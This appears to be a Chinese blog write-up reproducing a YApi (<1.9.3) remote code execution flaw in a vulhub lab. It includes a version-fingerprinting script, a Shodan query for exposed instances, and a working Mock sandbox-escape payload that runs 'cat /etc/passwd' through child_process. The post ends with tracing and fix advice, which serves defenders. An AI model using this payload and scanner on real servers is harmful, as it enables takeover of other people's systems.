YApi管理平台任意代码执行漏洞复现
漏洞简述
YApi 是一个可本地部署的、打通前后端及QA的、可视化的接口管理平台。若Yapi对外开放注册功能,攻击者可在注册并登录后,通过Mock构造特殊的请求执行任意代码,获取服务器权限。
漏洞影响版本
YApi < 1.9.3
如何判断YApi当前版本?

YApi网站底部显示了当前版本号,不过该version是通过js渲染生成的,直接请求首页无法拿到版本号。我简单写的一个脚本判断yapi版本号。

import requests import sys import re ip = sys.argv[1] baseurl = "http://" + ip + ":3000/prd/" aseet_js = "assets.js" r = requests.get(baseurl+aseet_js) regex = r"index@[\w]+?.js" index_js_name = re.search(regex,r.text).group() index_js_url = baseurl +index_js_name regex = r'newVersion:"([\d.]+)"' r = requests.get(index_js_url) version = re.search(regex,r.text).group(1) print(ip,version) # 判断当前版本是否小于1.9.3 _,v,sub_v = version.split('.') if int(v) < 9 or int(v) == 9 and int(sub_v) <3: print(version," http://" + ip + ":3000")
Shodan 搜索语法
http.favicon.hash:-715193973

漏洞exp
https://github.com/j2ekim/YApi_exp
漏洞环境搭建
cd vulhub/yapi/unacc docker-compose up -d
访问 http://IP:3000 首页点击注册。

漏洞复现
添加项目。




设置Mock后保存。
const sandbox = this const ObjectConstructor = this.constructor const FunctionConstructor = ObjectConstructor.constructor const myfun = FunctionConstructor('return process') const process = myfun() mockJson = process.mainModule.require("child_process").execSync("cat /etc/passwd").toString()

访问Mock地址。

复现成功。
入侵溯源
yapi本身没有日志,所有信息记录在数据库中。这里我用docker搭建的漏洞环境,使用的mongdb。由于该漏洞需要注册才能利用,可通过数据库查询攻击ip。

修复方式
- 升级至1.9.3以上版本。
- 编辑Yapi目录下的 config.json 文件,设置 closeRegister 为 true,关闭Yapi的前台注册功能。
微信赞赏
支付宝赞赏
目前为止有一条评论